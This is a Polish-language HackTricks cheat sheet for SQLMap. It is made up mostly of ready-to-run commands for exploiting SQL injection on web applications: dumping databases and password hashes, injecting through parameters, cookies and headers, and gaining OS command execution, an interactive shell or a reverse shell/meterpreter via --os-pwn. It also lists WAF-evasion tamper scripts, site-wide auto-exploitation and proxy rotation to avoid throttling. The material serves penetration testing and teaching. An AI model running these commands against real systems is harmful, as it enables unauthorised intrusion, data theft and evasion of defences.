SQLMap

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe argumenty dla SQLmap

Ogólne

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Flagi technik (--technique)

Argument --technique określa, które metody SQL injection sqlmap spróbuje użyć. Każdy znak w ciągu reprezentuje jedną technikę:

LiteraTechnikaOpis
BBoolean-based blindWykorzystuje warunki true/false do wnioskowania o danych
EError-basedWykorzystuje szczegółowe komunikaty błędów DBMS do eksfiltracji wyników
UUNION queryWstrzykuje instrukcje UNION SELECT, aby pobrać dane tym samym kanałem
SStacked queriesDodaje dodatkowe instrukcje oddzielone za pomocą ;
TTime-based blindOpiera się na opóźnieniach (SLEEP, WAITFOR) do wykrywania SQL injection
QInline / out-of-bandUżywa funkcji takich jak LOAD_FILE() lub kanałów OOB, np. DNS

Domyślna kolejność to BEUSTQ. Możesz je przestawić lub ograniczyć, np. tylko Boolean i Time-based w tej kolejności:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Pobieranie informacji

Wewnętrzne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB dane

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Miejsce wstrzyknięcia

Z przechwycenia Burp/ZAP

Przechwyć żądanie i utwórz plik req.txt

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Wstrzyknięcie żądania POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Wstrzyknięcia w nagłówkach i innych metodach HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Przeskanuj witrynę za pomocą SQLmap i auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Dostosowywanie Injection

Ustaw sufiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc w znalezieniu boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyZastępuje znak apostrofu jego pełnoszerokościowym odpowiednikiem UTF-8
apostrophenullencode.pyZastępuje znak apostrofu nielegalnym podwójnym odpowiednikiem Unicode
appendnullbyte.pyDołącza zakodowany bajt NULL na końcu payloadu
base64encode.pyKoduje wszystkie znaki w payloadzie do Base64
between.pyZastępuje operator większe niż (‘>’) przez ‘NOT BETWEEN 0 AND #’
bluecoat.pyZastępuje znak spacji po instrukcji SQL losowym poprawnym znakiem pustym. Następnie zamienia znak = na operator LIKE
chardoubleencode.pyPodwójnie URL-enkoduje wszystkie znaki w payloadzie (nie przetwarza już zakodowanych)
commalesslimit.pyZamienia wystąpienia typu ‘LIMIT M, N’ na ‘LIMIT N OFFSET M’
commalessmid.pyZamienia wystąpienia typu ‘MID(A, B, C)’ na ‘MID(A FROM B FOR C)’
concat2concatws.pyZamienia wystąpienia typu ‘CONCAT(A, B)’ na ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.pyURL-enkoduje wszystkie znaki w payloadzie (nie przetwarza już zakodowanych)
charunicodeencode.pyUnicode-URL-enkoduje niezakodowane znaki w payloadzie (nie przetwarza już zakodowanych). “%u0022”
charunicodeescape.pyUnicode-URL-enkoduje niezakodowane znaki w payloadzie (nie przetwarza już zakodowanych). “\u0022”
equaltolike.pyZamienia wszystkie wystąpienia operatora równości (‘=’) na operator ‘LIKE’
escapequotes.pyUcieka (escape) cudzysłowy (’ i “)
greatest.pyZastępuje operator większe niż (‘>’) odpowiednikiem ‘GREATEST’
halfversionedmorekeywords.pyDodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym
ifnull2ifisnull.pyZamienia wystąpienia typu ‘IFNULL(A, B)’ na ‘IF(ISNULL(A), B, A)’
modsecurityversioned.pyOpakowuje całe zapytanie wersjonowanym komentarzem
modsecurityzeroversioned.pyOpakowuje całe zapytanie komentarzem o zerowej wersji
multiplespaces.pyDodaje wiele spacji wokół słów kluczowych SQL
nonrecursivereplacement.pyZamienia zdefiniowane słowa kluczowe SQL na reprezentacje nadające się do filtrów (e.g. .replace(“SELECT”, “”))
percentage.pyDodaje znak procenta (‘%’) przed każdym znakiem
overlongutf8.pyKonwertuje wszystkie znaki w payloadzie (nie przetwarza już zakodowanych)
randomcase.pyZamienia każdy znak słowa kluczowego na losową wielkość liter
randomcomments.pyDodaje losowe komentarze do słów kluczowych SQL
securesphere.pyDołącza specjalnie spreparowany ciąg
sp_password.pyDołącza ‘sp_password’ na końcu payloadu w celu automatycznej obfuskacji w logach DBMS
space2comment.pyZastępuje znak spacji (’ ’) komentarzami
space2dash.pyZastępuje znak spacji (’ ‘) komentarzem z kreską (’–‘) oraz losowym ciągiem i nową linią (’\n’)
space2hash.pyZastępuje znak spacji (’ ‘) znakiem (’#‘) po którym następuje losowy ciąg i nowa linia (’\n’)
space2morehash.pyZastępuje znak spacji (’ ‘) znakiem (’#‘) po którym następuje losowy ciąg i nowa linia (’\n’)
space2mssqlblank.pyZastępuje znak spacji (’ ’) losowym znakiem pustym z dopuszczalnego zestawu alternatywnych znaków
space2mssqlhash.pyZastępuje znak spacji (’ ‘) znakiem (’#‘) po którym następuje nowa linia (’\n’)
space2mysqlblank.pyZastępuje znak spacji (’ ’) losowym znakiem pustym z dopuszczalnego zestawu alternatywnych znaków
space2mysqldash.pyZastępuje znak spacji (’ ‘) komentarzem z kreską (’–‘) po którym następuje nowa linia (’\n’)
space2plus.pyZastępuje znak spacji (’ ‘) znakiem plus (’+’)
space2randomblank.pyZastępuje znak spacji (’ ’) losowym znakiem pustym z dopuszczalnego zestawu alternatywnych znaków
symboliclogical.pyZamienia operatory logiczne AND i OR na ich symboliczne odpowiedniki (&& and ||)
unionalltounion.pyZamienia UNION ALL SELECT na UNION SELECT
unmagicquotes.pyZastępuje znak cudzysłowu (’) wielobajtową kombinacją %bf%27 wraz z ogólnym komentarzem na końcu (aby działało)
uppercase.pyZamienia każdy znak słowa kluczowego na wielkie litery ‘INSERT’
varnish.pyDodaje nagłówek HTTP ‘X-originating-IP’
versionedkeywords.pyOpakowuje każde nie-funkcyjne słowo kluczowe komentarzem MySQL z wersją
versionedmorekeywords.pyOpakowuje każde słowo kluczowe komentarzem MySQL z wersją
xforwardedfor.pyDodaje fałszywy nagłówek HTTP ‘X-Forwarded-For’
luanginxmore.pyTamper tylko dla POST, który dopisuje miliony fikcyjnych parametrów, by wyczerpać parsery WAF opartych na Lua‑Nginx (np. Cloudflare).

luanginxmore generuje ~4.2M losowych parametrów POST przed payloadem; używaj go tylko z --method=POST i spodziewaj się, że duże rozmiary żądań mogą spowodować awarię źle skonfigurowanych WAF-ów Lua‑Nginx.

Recent switches worth enabling (>=1.9.x)

  • HTTP/2 transport: --http2 forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with --force-ssl to pin HTTPS.
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling.
  • Offline / purge modes: --offline reuses cached session data without touching the target (zero network traffic), while --purge securely wipes the session/output directory when you’re done.
  • Mobile UA emulation: --mobile prompts you to spoof a popular smartphone User-Agent, useful on APIs that expose additional fields to mobile clients.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks